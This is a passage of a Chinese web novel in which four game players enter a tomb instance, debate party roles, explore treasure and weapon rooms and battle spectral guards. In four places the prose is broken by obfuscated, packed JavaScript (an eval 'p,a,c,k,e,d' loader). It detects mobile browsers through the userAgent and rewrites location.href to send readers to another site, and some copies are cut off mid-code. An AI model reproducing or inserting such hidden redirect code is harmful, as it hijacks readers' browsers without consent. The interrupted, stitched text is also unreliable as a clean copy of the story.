“这里的泥土不太一样。”镜舟只此简单地解释了一句，我迷茫地看了看他，又看了看唯月，唯月眯了下眼睛，像在琢磨什么事儿似的，很快又神色恢复如常，好像已经和镜舟达成一致。此处地势并不平坦，有些树木石头形成的小土坡，视野并不开阔，唯月从善如流地在这附近打转，仔细勘察那些高低不平的地方。 我心里纳着闷，但眼见另外两人似乎也没打算就此多做解释，我想现在还是找人要紧，便也赶紧行动起来，兵分三路，仔仔细细搜索这附近的区域。 天色已经彻底黑下来了，一轮圆月高挂于苍穹之上，让这荒山显得不那么寂寥了。 “我说队友们啊，瞧我发现了什么，这处土堆的背后竟然有个洞口。” 唯月这个灯笼买得真是太及时了，我和镜舟在月光下哪有他看得准啊。我快速跑过去，那洞口不大，有点像个用土围出来的古井口，我们三人都围过来看。我发现这洞口的边缘并不整齐，有一侧有明显的塌陷，仿佛谁之前滚落下去了，我小心翼翼地靠近洞口，想往下望一望，那浓重的漆黑让我看得瘆得慌，不由得想起某个经典日式恐怖片里的人物…… “罗小星，你在吗？罗小星，你能听得到吗？”我朝着洞口往下喊，使用着最原始的方法，我又调出队伍通讯界面，还是能看到罗小星在线，但他还是没有回答我的消息。 罗小星在哪里呢？他给我的感觉不像是会突然消失，然后莫名其妙就不给我们回复的人啊。 “罗——小——星，听到的话回个话啊？”我又一次尝试，虽然内心里不抱太大希望，但我想，他有没有可能到了一个无法接收通讯的空间呢？以我的游戏经验来看，这不是没有可能。既然找到了这处奇怪的地方，还是尽量试一试吧，朝洞口喊话之后，洞里回荡着我的回音。 “怎么办？没有任何反应诶……”我有点不知所措了。 “我下去看一下。”镜舟说罢就毫不犹豫地左手反撑着洞口，准备贴着洞口跳下去。 “等一下——”我赶忙双手拉住他，再晚一会儿他直接就掉里头了。镜舟被我这么一拉胳膊，身形一顿，歪着头看着我。 “别着急，贸然下去有点危险……”我真是被他的举动吓了一跳，手都不敢松，“不是还有我和唯月吗？我们好好合计一下，再想想怎么做……” “嘘——”唯月竖起手指轻声说，他掀起一部分衣襟优雅地单膝跪地，侧着脑袋靠近着洞口专心倾听。 “我是罗小星，喂——我是罗小星——你们听得到吗？” 来自洞内的声音有些幽远，但说的话是能够听清的。终于，我们又和罗小星联系上了，正像唯月所说的，这花脸猫还真不让人省心，不过好歹找到了，我总算是松了口气。 “你怎么样啊罗小星？遇到危险了吗？”我继续充当大喇叭的角色，着急问清楚当前的状况。 “我没事——我找到古墓了！就在这洞口以下。几句话说不清楚——你们要不要下来？这边是安全的——” 我看了看唯月，唯月耸耸肩，好像跳下去也无所谓，“花脸猫又开始增加游戏难度了嘛。”他声音不大，我想罗小星是听不见的…… “提醒你们啊！下去之后上不去，我试了好久都上不去，我这无法接收和发送通讯，这里好像是副本空间。你们想清楚要不要下来？”罗小星停顿了一下又说，“要不你们等我一会儿？或者我退出队伍也行？” “别废话了！我们下去，都找这么半天了。”唯月翻着白眼喊回去，听到他这么有欠风度地喊话我还觉得挺有趣的。他说完便转身冲着我们二人，偏着头朝洞口的方向点了点，“我先跳吧。” 那跳下去的感觉就像是闭着眼睛坐滑梯一样，周围黑漆漆的，几乎是什么也看不见，隐隐约约能觉察出来周围有些土和石头，但还没来得及看个仔细，双脚就踏上了坚实的地面。 罗小星正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是呀是呀，打怪兽！”罗小星双眼放着光，“我们四个人应该分配一下了，这个我有经验，战斗队伍里必然有分工，大家各司其职，不然很难赢的。那么，我们现在不如……” “我背包里有攀岩工具，我们用这个爬出去，战斗系统开不开放与我们有什么关系？”唯月没让罗小星把话说完。 罗小星一整个懵住，“可是在这里它开放了战斗系统啊！这肯定是在向我们透露了什么。这还不是重点！我刚才四处探查的时候发现在我左手边有条隐蔽的岔路，刚开始走进去那两步可真是伸手不见五指啊，黢黑黢黑的，再走几步，你们猜怎么着？” “哎，你们怎么都不积极一点啊，那里面竟然是个蜿蜒向下的楼梯，墙壁两边还有蜡烛在发出摇曳的烛光！我本来想往下走走再看看来着的，但这不突然听到了你们呼唤我的声音吗？我一下子开心的嘞！想着不能让你们担心我啊，于是赶紧跑回来给你们喊话了！” 说实话，此刻的我心情实在是积极不起来，寒毛倒是积极地竖起了几根…… “简单地、直接地说，罗小星你就是不想上去呗？” “不想。”罗小星倒是坦诚地回答了唯月的提问。 “你是不是真的那么天真，你有没有想过，给你开放战斗系统是为了什么？如果地下真的是古墓，你觉得你需要对付的是怪兽吗？” 8. 第 8 章 “唯月你不要这么吓人好不好？这只是个游戏啊，游戏制作组怎么可能真的把古墓做得那么恐怖呢？他们也要考虑玩家的心理承受能力呀！”罗小星咽了咽口水，他不仅是在说服唯月，也是在安慰自己，“把那些未成年人吓坏了多不好啊，那不是摧残祖国的花朵吗？” “十六周岁也不是什么小孩子了，基本的判断能力是有的，做什么事情也是懂得负责任的，再说了，你不知道游戏活动说明里早已经讲明这个特典是限定满１８周岁的玩家才可以参与吗？”唯月显然不会那么容易被罗小星说服。 “我知道我知道我知道！满１８周岁嘛！” “你肯定知道这款游戏主打的是沉浸感，去古墓探险，再怎么样也不可能像是坐在电视机前吃着冰淇淋爆米花。” “哎呀唯月你不想去就不去好了，说这么多干什么，你们在这里等我行不行？我说什么也要下去一探究竟，玩游戏这么畏首畏尾有什么意思？好不容易获得的机会，还没试过就要放弃！我绝对无法接受。再说了，特典通关奖励那么丰厚，轻轻松松地就能过关那岂不是所有参与者都能拿奖了？哪有这么便宜的事！我愿意冒点风险去试一试，你不用劝我了！你不去，我自己去。” “罗小星，我是看出来了，越劝你你越想去是不是？真是拿你没办法啊大兄弟……”我觉得罗小星还真有几分小孩子心性，可是他说的也不是全无道理，“唯月，咱们该说的都跟他说完了，再劝下去说不定会整出个逆反心理，罗小星嗷的一嗓子想不开，直接扔下我们一干人等愤怒得像头公牛冲下去就不好了，到时候拉都拉不回来！” 唯月扑哧一声笑出来，连镜舟也不禁随之莞尔。 “思婷姑娘说得没错，罗小星要是果真那么不管不顾地冲下去的话，古墓就要塌了。” “这叫什么话，你们拿我寻开心啊！”罗小星也笑起来了，语气里还有几分“恃宠而骄”，只是用上他这特殊的如李逵一般的嗓音说出来，听起来既魁梧又娇憨。 “我们大哥大姐每个人都不会扔下你不管的，你不要听唯月那么说就怪他，你一个人去太危险了。想尝试当然没有问题，但还是要评估好风险。我们一个队伍就是要一起行动呀。” “嗯，我知道的。”罗小星温顺下来。 “罗小星，你刚才说‘战斗队伍里必然有分工’，话还没有说完。” 我们三人都惊讶地看向镜舟，怎么说呢，可能每个人都和我似的是这样想的：镜舟能开一次口和我们聊天，就……还挺难得的。 “呃，镜舟大哥，你说得没错，战斗队伍里必然有分工，大家各司其职，只有这样才能提高胜利的把握。就比如说全是输出看起来好像很有攻击力，但是站不住的话追求再高的输出也没用，皮脆一样会被秒，所谓的高输出约等于无；全是坦克的话，游戏过程将会被无限拉长，ＢＯＳＳ轻易打不死你，可你也打不死ＢＯＳＳ，时间上实在是耗不起，而且战斗体验还极差；医师这个职业吧无论什么时候都不能没有，虽然她没有多少输出，又不能扛伤害，可是能有效地增加战斗的续航能力，这个就不用我多说了吧，你们也不是新手玩家，肯定都明白。 “所以当前我们面临的问题是，我们需要确认一下队伍里不同的人选什么职业技能合适，理想情况呢就是使队伍之间的彼此分工达到平衡。这在我看来是战斗前所必须要做的准备，看看每个人擅长的是什么，所谓不打无准备之仗嘛就是这个意思。” “嗯，有点道理，说到这些你倒是头头是道的。”唯月难得有这么一次对罗小星表达出肯定的意思。我都有些惊讶了，罗小星可能更没做好被夸赞的准备，一时都不知道说什么好了。 “别愣着了，接着说你的想法。”唯月赶紧把罗小星拉回正轨。 “哦哦……”罗小星摸了下额头，“那个，所以我觉得我们下去探访古墓前需要做的事情就是选择好自己的战斗方向。不要一窝蜂地扎堆儿，要讲配合。大家想选什么职业尽管说出来好了，先说说第一感觉。” “我当医师。”我毫不犹豫地抢答道。我也只能选这个了，和人正面冲突从来不是我的强项，比起硬刚我更擅长逃跑，当然我也知道这不是什么好的选项，因为很有可能跑着跑着就成习惯了，最后什么也不敢面对。 “一个医师是不是就够了？”唯月左手托着下巴问道。我有点猜不出来他以前习惯什么职业，也猜不出镜舟的，按理说大家都是游戏探索度超过４０％的人，但专精的地方却不一样。 “够了够了，没必要增加了，虽说奶妈必不可少，可是这个职业也有弱点，自保能力弱，一旦被灭掉，队伍就会陷入很危险的境地，一般竞技场里大家都不太喜欢选这种职业，战斗体验没那么爽快，思婷大姐能如此自告奋勇填补队伍的空缺还挺让我欣慰的。” “没事大兄弟，不用过于感动，毕竟除了这个，我也不会别的。” “嗯嗯，奶妈操作难度还是不怎么高的，很好上手。” “既然你这么懂行，其他职业你看着要怎么安排？”唯月摇着扇子，“我可不想操心这些事了，你擅长就你做主好了。” “我看了下，特典的战斗系统是简化过的，只有基本的功能，不过还是保留三大技能体系，治疗、攻击和防御，这其实就足够了，剩下的战斗细节慢慢摸索好了，没必要在这耽误太多时间。除了奶妈主加治疗术以外，其他三人在保全自己的情况下尽量多点一下攻击，速战速决，你们看行不行啊？” “没意见。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哪里来的风啊？吹得烛火晃来晃去。”罗小星突然发问。随着他发出这句疑问，我们发现原本蜿蜒的楼梯已经走到了尽头，取而代之的是一段坡度变缓，台阶变宽的台阶，台阶笔直地通向前，我们很快走到终点。 我们发现台阶引导我们到达了一个较为开阔的空间，按照我的估计，刚才走过的较宽阶梯应该是墓室的甬道，而我们现在所站的位置大概是墓室的前殿。我们四人正对着一面石墙，石墙表面光滑，看起来好像是刚砌不久，完全没有受到岁月侵蚀的痕迹。墙的两侧各有一根梁柱，当我们走近的时候，梁柱上的青铜灯倏然就亮了起来。 “这是欢迎我们吗？”唯月这个时候仍有开玩笑的心情。 罗小星四处看了看，突然仰着脑袋看着上方发问：“……你们快看，在我们头顶上的那是什么东西？” 9. 第 9 章 罗小星话一说完我不禁打了个激灵，头都不敢抬了。一个古墓前殿的天花板上能有什么好东西吗…… “我的天啊，这好气派啊！这是一条龙吗？红色的背景，看起来虽然挺扎眼的，但是衬托得这条龙更帅了！兄弟萌，你们快抬起头来看看呀！”罗小星仰着脖子感叹道。 这时候我才敢慢慢抬起头，这前殿的壁顶很高，怎么也超过三米了，让罗小星发出如此感叹的是一幅壁画，我此生从未见过这样气势恢弘的美术作品，抬头的瞬间就觉得非常之震撼。 壁画以朱红色为底色，画的主题是一条昂首的巨大青龙，青龙身躯呈“Ｓ”形状，足踏祥云，仿佛要飞入天界，其昂扬的姿态完全不给人以恐惧之感，只是让人情不自禁地产生敬畏之情，好像这青龙是天上的神祇，马上就要飞回属于它的领地。 青龙身躯周围点缀以灵芝、花朵等装饰图案，看起来都是些奇珍异草。青龙处于画面中央位置，壁画偏下方则绘有山川河流，仔细观察，还能看到大地上有匍匐祈愿的民众。 当我们惊叹于这壁画的感染力之时，耳边渐渐响起了大气磅礴的音乐，像是以编钟为主要乐器的国乐，浓浓的古典风，有一刹那我眼泪都要流下来了……也说不清楚为什么，就是觉得有一种来自遥远空间的结结实实的震撼传导过来。 “我要哭了，这音乐也好气派，哎！平时没好好读书，我就知道用气派俩字来表达我此时此刻的难以言表的心情，我虽然心里实在是想夸上一万个字儿，可惜肚子里没词儿啊！这游戏策划也真是的，太知道应该在什么地方放背景音乐了……这趟没白来啊，呜呜……” 罗小星倒是个性情中人……感我所感，原来不是我一个人会那么想。 “是怎么画上去的呢？仰着头画一定很辛苦吧。而且颜料还是那么新鲜的样子，就像是刚画上去没多久一样。”我不禁产生疑问。 因为壁画处于前殿的正中央，且几乎占据了前殿壁顶的大部分位置，所以当我们仰视它的时候，感觉这条巨龙真的能够飞起来一样，我总觉得以前好像在哪个博物馆见过这幅壁画。 壁画经过游戏重绘之后肯定不会与原作一模一样，游戏制作组为了避免版权纠纷等一系列商业问题、技术问题、道德问题、伦理问题等等，往往不会完全照搬，仅仅是以现实为依托，再做一定的改进，在我的理解，这就是一种“适游戏化”。作为以盈利为目的的企业，也是在给自己留下余地，留下一个以供解释或者说是再进步的空间。 但是我相信，我们古代的先人，一定以他们不竭的创造力、毕生勤劳的双手以及震慑宇内的才华在很久以前就为后人留下了这样的惊世之作。 不对，绝不仅此一幅画作，而是很多很多的珍贵遗产，他们出现在教科书里，出现在博物馆里，出现在一个个需要我们不断探索的领域。他们就像在为后来的我们留下一个邀约：“怎么样，孩子们，能追赶上我们吗？继续努力吧。”我相信他们一定在微笑地看着我们，鼓励我们前进，永不放弃。而《梦田》所做的，就是用尽他们所有的技术手段向玩家们传达这样的信息：古代世界从未远离现代人，历史就是我们的记忆，已经融入我们的血液，我们要学会欣赏她的美，我们不该忘记她，因为她就是我们的一部分。 “画面最上方的是什么，你们有没有看到？”唯月的发问打断了我的思绪，我回过神来在画中寻找。 “看形状的话，那好像是一把古剑吧……”罗小星不是十分确定地答道。 壁画的四周有黑色的边框，边框内有些白色菱格、藤蔓、火焰和云纹图案的装饰，可惜我不是很了解这些图纹，不然一定可以多了解到一些有关壁画的一切，唯月和罗小星所说的应该是长方形壁画上方那条边框里所画的图案 “确实像一把剑，但是画在这里是什么意思呢？有点和画风格格不入啊，想不明白。镜舟，你怎么看呢，为什么要在画面的正上方画上一把剑呢？” 镜舟一直都在认真地看着画，也不说话，他闻声后看了看我，摇了摇头，“没有想到答案。” 背景音乐仍在响着，画我们也都尽情地欣赏一遍了，罗小星可能是长时间仰着头，脖子都累了，能看到游戏里的他正用右手轻轻地按压后脖颈。我自己倒没有脖子酸麻的感觉。 镜舟一个人走到前殿的最前方，也就是我们一进来的时候看见的那面石墙，仔细地打量着。 “镜舟大哥，这面墙有什么不对劲儿的地方吗？”罗小星好奇地跟在镜舟的屁股后面谦虚地问道。 镜舟看了下罗小星，“不确定。”他谨慎地回答着。镜舟伸出右手触摸着墙壁，就在此时，磅礴大气的游戏背景音乐消失了，所有的声音都消失了，这突然的变化让空间变得尤为寂静，不得不说寂静过了头，也是很瘆人的。然而变化却不只这一个。 以镜舟的右手触碰到的那个地方为起始点，原本光秃秃空无一物的石墙却突然起了变化，它像是正被人画上了一幅画，我们看不到这画画的工匠，但却感觉有一只透明的无形的手在快速地以这面墙为画纸构图、起草、描绘、上色。 “诶？这是怎么一回事啊，哪来的人在画画啊？这可有点诡异哦……”罗小星已经看呆了。 “也许画画的不是人。”唯月不知何时走到罗小星的身后，轻轻拍了下他的左肩，然后脑袋绕过他的右肩看着罗小星一字一顿地说。 “啊呀！”罗小星吓得连忙用双手捧着臂膀，忍不住哆嗦起来，“唯月！你干啥！吓死人了！” 石墙的画很快“被”画完了，此时我们四人方能看清，原来画的是一扇青铜门，十分逼真，但毕竟是幅画，门是不可能被我们打开的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712064|189266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镜舟此时把右手放下来，而与此同时，梁柱两侧似乎一下子又亮起来好几盏灯，墓室内光明大涨。 “这是谁把灯打开了？”罗小星说完自己先愣住了，“呸呸呸，可能是镜舟大哥无意中碰到了一个点灯开关。屋里头亮堂好多哦。” 他先跑到左边那根梁柱处去看了看，估计是想确定一下究竟是亮了哪几盏灯。 “啊呀，兄弟萌快过来看看呀，这里还有路呢，这屋子比我们想象得还要大呢！”罗小星身子闪过去，“哎呀不对，这是一个走廊，走廊左边好像还有房间，我过去看看啊！” 罗小星自顾自地去探路了，前殿内如今变得这么亮堂显然能够让他的恐惧感消退了几分。 “我的天天啊！这是什么？啊啊——发达了！快来看看我发现了什么，大哥大姐你们一定做梦也想不到的！” “哎呀……”唯月以手支额，“这个花脸猫怎么动不动就我的天啊。一惊一乍的，叫得我脑仁儿疼。”唯月一副“烦死人了”的口气却又无可奈何的模样，听话地往罗小星那儿走去，“看见鬼了啊？那么大嗓门儿。” “呸呸呸！瞎说什么呢！”罗小星嗔怪道。 “咱们俩也过去看看吧，镜舟。”镜舟点了点头，依然走在我的身后。 罗小星新发现的走廊大概有两米宽，没有任何壁画装饰，两侧墙面均有青铜灯照明，走在这里并不会让人害怕，石墙表面依然很光滑，看起来很新，我这次直接上手贴着墙面碰了碰，没有任何要浮现出壁画的迹象。 走廊左侧有三个房间入口，都没有门，跨过去就能进到室内了。我往道路的前方看了看，这似乎是一个回廊，前头走廊的尽头处可以朝右转。 我不紧不慢地踱步到左侧的第一个房间，刚一进去眼睛都快被晃花了。 我这辈子就没见过这么多的钱。我下辈子也见不到这么多的钱啊！ “快来看呀，乡亲们，全是黄金啊，金灿灿的呀！咱们四个人一辈子都花不完，下辈子也花不完！” 罗小星站在房间的中央，手里捧着金子，已经沉醉在黄金乡里了。其实说是房间倒有一点不恰当，房间的面积不小，不亚于之前进入的前殿，我猜测，这也许是个偏殿？殿内也不全是黄金，只是这黄金的视觉冲击力过于强大了，让人实在没心情去看别的东西，其实殿内的角落里，还有成串的铜钱，从地面一直堆放到壁顶，而且是堆了一面墙，什么叫家财万贯，看看这幅场面就知道了，什么叫“京师之钱累巨万，贯朽而不可校”，看看眼下的情景就什么都晓得了。换作是我，坐在这里真是不知道要花多久时间才能数得清楚这里财富的数量，“数钱数到手抽筋”的快乐和这比起来又算得了什么呢？ 无论是铜钱还是黄金，依然毫无尘土的痕迹，崭新崭新的，让人忍不住想要拿起来，揣进自己的口袋里。 10. 第 10 章 不过，这个念头在我的脑海里并没有停留太久。 拥有很多的钱当然是大部分人的梦想，我呢，和大家一样，也有这样的愿望。谁一下子看到这么多的钱会不犯迷糊呢？ 我忍不住去假设，如果我是这些钱的主人会怎样？我一定会用来买所有我想要的东西，人生一定不会再那么容易有烦恼，没有什么是钱解决不了的事情，如果有，那就再加钱解决掉。 但很快我心里又有另一种声音在跟我说：君子爱财，取之有道。不能够名正言顺地占有这些财富，又怎么能够花得心安理得呢？即便一时能够装进自己的口袋里，也不过是金钱偶尔借道在我这里落脚，我根本当不了它的主人，它遗弃我的时候我连它的尾巴都抓不到。勿忘心安，我一直都在提醒自己不要忘记这四个字，这也是我的人生追求。 我之所以能有这样的想法，自然要归功于从小以来接受的教育，无论是来自学校的还是来自家庭的。我总觉得，人不能什么钱都挣吧？总不能一看见钱就眼红、就一门心思想把它据为己有吧？ 人做什么事情都该有个底线吧。 此时的我站在偏殿之中，看着这取之不尽的财富，想着如果我买完了所有自己想要的东西，那么我还会再渴求得到什么呢？失去了目标和向往之后，随之而来的一定也会有难以言喻的失落，而可悲的是，其他人将很难理解这种失落，你越解释别人越怀疑你。从那以后的日子里，空虚之感将会如影随影。 富豪们有时候会说：自己对钱根本不感兴趣。 一款游戏，竟然让我有点理解这句话了。 这不就是一些怎么花也花不完的钱吗？有什么意思啊？ 感谢《梦田》，终于让我有机会去体验一把亿万富豪内心的那种空空落落。只不过，退出游戏之后，我还是要为五斗米折腰，每天纠结于柴米油盐酱醋茶等等生活必需品价格的起起落落。 我这个人大概有一点和别人不一样，遇到什么事情我总是会多想的那一个。正当我纠结地思考着金钱与道德之间复杂关系的时候，我惊讶地发现，唯月和镜舟对这些钱根本就不感兴趣…… 他们俩不过就是各自在偏殿里转一转，简单看一看，从头到尾都没有流露出来哪怕是丝毫的惊讶之情。 虽然罗小星在最初发现黄金屋的时候表现得既激动又开心，但是当他把玩了一会儿黄金之后马上就又把它们原封不动地放回去了，对于那些铜钱他甚至连看都没仔细看一下。 好吧，这些都不过是游戏里的财富，但是也可以用它们在游戏的世界里消费呀！ “这里看久了也没什么意思，我们赶紧出去看看别的房间里还有什么吧！”罗小星已经看腻了，又兴冲冲地跑出去要看看回廊所连接的其它几个房间里都有什么。待走到一处类似武器陈列室的房间的时候，罗小星一下子找到了他的兴趣所在。 这里简直就是一个小型的冷兵器博物馆，兵器种类繁多，罗小星左看看，右看看，有的时候还要上手摸一摸，“这里武器的花样也太多了吧，每一个都要怎么用啊？真是看不懂，但又让人觉得好厉害的样子！” 在房间的中央，有一件兵器得享单独陈列的待遇。 “好气派的玉剑！”罗小星的目光马上就被其吸引了，惊呼道。我们几人也围过来看。 “这个好像是玉具剑，是采用了玉石作为装饰的剑。在古代，能佩带这玉具剑的人非富即贵，它是地位和财富的象征。” “不会吧？这你也知道！我从来没听说过。”罗小星有些崇拜地看着我。 “我也是看到的时候才想起来……” “巨龙壁画上是不是也有这个？”唯月问道。 我点了点头，唯月说得对，两者还真有几分相似。 罗小星已经被玉具剑吸引得挪不动步了，“我要在这里好好看看，过了这个村儿，可就没这个店儿了！” “那我们先去另一边看看咯？”我问道。 “怎么都行。”罗小星连头也没转过来，他现在已经顾不上我们这边了。我们其余三人快速巡视了回廊连接的剩余区域。 在探查了一遍后，在我的脑海中已基本上能够描绘出墓室的大致地图了，其实虽说我们是按照老先生的指引把这里称作墓室，但我们直到现在也没看见什么真正令人恐怖的东西，何况这里无论是在房间内还是回廊之上，照明都十分充足。 要说最诡异的还是那扇青铜门了，除此之外，再无其他疑点。我们已经绕着回廊走了一圈，重新站在青铜门前，我略微往后站了站，整理着思绪。 我们来到这里时，正对着这面墙，暂且把这个地方称作前殿吧。壁顶有巨龙壁画，前方有青铜门，青铜门触发了回廊区域，前殿的左右两侧各有三个房间，把这些算作偏殿，偏殿就像是一个个仓库，除了黄金以外，还储藏有粮食、衣服、乐器、书籍、酒具、厨具等生活用品。罗小星所在的那个地方与前殿平行，就算作后殿吧，那是个兵器库。这里的地图就像个‘回’字，可是‘回’字中间的那个‘口’是什么地方呢？ “这个门是不是有什么玄机？”我开口问道。 “有可能。这样吧思婷姑娘，我先去给罗小星叫回来，这家伙怎么在那耽误了那么长时间？”唯月皱了皱眉，往罗小星那个方向张望。 “也好，等你们回来以后我们再一起找找看，说不定能有线索。” 唯月过去了，我站在原地发呆。 “这个青铜灯……”我自言自语着。 “对了，镜舟，你有没有觉得这些个青铜灯有哪里不对劲的地方？对比我们见过的其他东西？” “它们都已经生锈了。” “对啊！第一个屋子里的铜钱一点都没生锈啊，这六个偏殿我们每个都去过，食物没有任何腐败的迹象，衣服也没有烂掉，所有的一切都是崭新的，就像头顶的这幅画一样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712065|189266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罗小星喜欢的那些兵器，有的还闪着寒光，这是不是有点奇怪啊？” 镜舟还没来得及回答，整个墓室内突然响起一声悠长的龙吟，声音的来源就在我们俩的正上方。我们马上抬头看，画上的龙并没有移动，但壁画的颜料正在以肉眼可见的速度一点点变得暗沉。 墙上的烛火开始摇曳起来，青铜门渐渐具象化。 “别是遇到什么危险了吧！”我赶紧拉着镜舟向右跑，去找唯月他们，回廊上灯火的光亮正在一点点减弱。 跑到半途我们就和唯月他们遇到了。 “你怎么把玉具剑拿回来了？”我十分不解，罗小星不是连黄澄澄的金子都没什么兴趣吗，他刚才不是说自己只是想要多看一会儿吗？现在这样做，和小偷有什么分别。 “不是我要拿！实在是我放不回去呀！那个，我刚才就是想装备一下这把剑，这确实是一把万中无一的武器，攻击值很高，但是我才尝试挥舞了一下，原本放剑的台子就塌了，我根本没打到它啊。然后就听到一声动物的咆哮，吓得我手都抖了，那屋子里所有的东西都开始变旧，我就赶紧和唯月跑过来了。” “好吧……我这也有个发现要告诉你，那个青铜门变成真的了，我们还是先到那边去看看吧。” 当我们四个人重新回到前殿的时候，发现青铜门早已向内大开，而门内是一个巨大的宫殿，这里就是“回”字中间的那个“口”，但远比我之前估算的还要大，宫殿内的空间就像被放大了一样，按理说我们已经沿着回廊走过一圈了，回廊的长短是不可能围出这么大一片区域的。 可奇怪的还不止这个，我们脚下的石砖开始震动、碎裂，现在除了踏入门内别无选择。 刚踏进去我便看到了此刻脚踩的石砖上装饰有繁复的花纹，像是翻涌的云气，又如同躁动的眼睛，由这些特殊石砖铺就的道路向前延伸，道路两旁全是士兵守卫，但是他们无一睁开眼睛，仿佛全部陷入了沉睡。 我怀着忐忑的心情往前走，这才发现宫殿内还有其他“人”，有人正坐在案几前一卷卷地翻阅着竹简，有成排的低着头的仆人们端着托盘贴着宫殿边缘匆匆走过。在宫殿内的一角，七八个舞姬在翩翩起舞，旁边还有乐师们在卖力地演奏乐器，可是这个宫殿里此刻却是寂静无声的，连脚步声都没有。 低着头的仆人们围着宫殿边缘走了一圈，经过我们身后，回到起点后，又开始匆匆地重复走相同的路线。 但这些还不是最诡异的。 “这些人怎么……都没有睁开眼睛啊？”罗小星语气胆怯地小声问道。 是的，不仅仅是道路两旁的士兵守卫，宫殿之内所有这些在行动着的人无一睁开眼睛。一个也没有。 “只有我自己一进门就往前看吗？”唯月提醒我们看清楚道路尽头，“你们看看这条道通往哪里？” 我马上顺着唯月的目光看过去，“那好像是……一具棺椁。” 11. 第 11 章 “是谁——闯入地宫，扰我安眠？！” 一团黑雾在远处的棺椁之上渐渐聚集，隐约呈现一个人脸的形状。 “我现在不能说后悔对不对，是我非要来这里的……”我看向说话的罗小星，他正哭丧着脸，难道是被吓到了？ “哎呦，我耳朵没听错吧？这还是当初那个愿意冒风险在古墓里大显身手的罗小星吗？”唯月到这个时候还有心情带着笑意挖苦别人，不得不说，他心理素质真的可以，反正我冲着那个扭曲的黑脸是笑不出来 “现在不是后悔的时候，何况都走到这一步了，我想也差不多该结束了。”我说这话倒也不全是为了安慰罗小星，来都来了，还是想想办法怎么离开这里吧。 “那把剑为什么在你手里！”黑雾突然剧烈地涌动起来，殿内原本明亮的灯火仿佛感受到了这黑雾的威慑力，一下子变得黯淡起来，只发出微弱的光线。可是那些舞姬、侍者等人对我们和黑脸之间的对话却置若罔闻，依然做自己那机械重复的动作，在此时这变得幽暗的宫殿内，就像是木偶一样 罗小星向前踏出了一大步，快速看了唯月一眼，深吸一口气后，大声对黑脸说道：“和别人没关系！是我拿过来的！我本来是想试一下就放回去的……我现在就把它还给你。物归原主。” 罗小星说罢就低着头，双手恭敬地端起玉具剑。 “我千辛万苦求得天界龙神至此庇佑，龙神原本可保我万世不朽，你们竟敢破坏画中结界！我要你们永生永世埋葬于此，供我差遣！” 黑脸话音刚落，我便听到身后铜门缓缓移动的声音，回头一看，果然青铜大门正在越来越快速地关闭。 “糟糕，要出不去了！” 镜舟闻言，立即回身，试图阻止，然而根本来不及。一声巨响之后，大门已经紧紧关闭，镜舟试图用力重新令其开启，大门却纹丝不动。 “没用了，镜舟。” “把他们囚禁起来！”黑脸一声令下，道路两旁的士兵护卫，霎时间全部睁开了眼睛！可是他们每个人却没有眼白，眼中全是墨一样的黑色，似乎能够吞噬灵魂。 罗小星手中的玉具剑忽然之间发出绿色的微光，“这把剑怎么一下子变得好重啊，我提不起来……”他小心翼翼地把玉具剑放在道路一边，“都说了会还给你的，你又不要！我是没办法了，这架我看是非打不可了！” 我光顾着看那把发光的剑了，没成想身边的这个守卫挥起手中的武器毫不犹豫地就向我砍来，我本能地往地宫的其它方向躲避，那个守卫却对我穷追不舍。 我只能尽量和他保持距离，我看到罗小星手中幻化出一把硕大的板斧想要朝我这边跑来，“用你的技能和武器！” 罗小星周围也尽是守卫，他已经自顾不暇，唯月手中又拿出那把折扇，原来这折扇竟然还可以当作武器来使用。 我一个没留神就被两个守卫逼到宫殿一角，那里正好有乐师在演奏乐器，他们根本没有察觉到宫殿内的异样，守卫的长戈挥打到他们的身体，如同穿过空气一样，我这才发现，包括守卫在内，这些人都没有影子。 可是从守卫“伤害”到乐师开始，宫殿内出现了男男女女的悲泣之声，此起彼伏，这声音不知从何而来，却让人听起来感到和他们一样悲恸。 我想我犯了一个错误，于是再也不敢往有人的地方跑了。 “真要命，这些守卫根本不害怕攻击！他们就像是一些虚幻的影子一样，攻击只会让他们行动暂时停滞，根本不会造成实质性伤害，这样的话什么时候战斗才能结束啊！”我看见罗小星一脸颓丧地把板斧扔在一边，又换了一把红缨枪，“更要命的是，我的武器一触碰到他们就会生锈！很快就锈到不能用了，这不是要活活耗死我们吗？” “大姐你愣着干嘛？！那个守卫就要打到你了！” 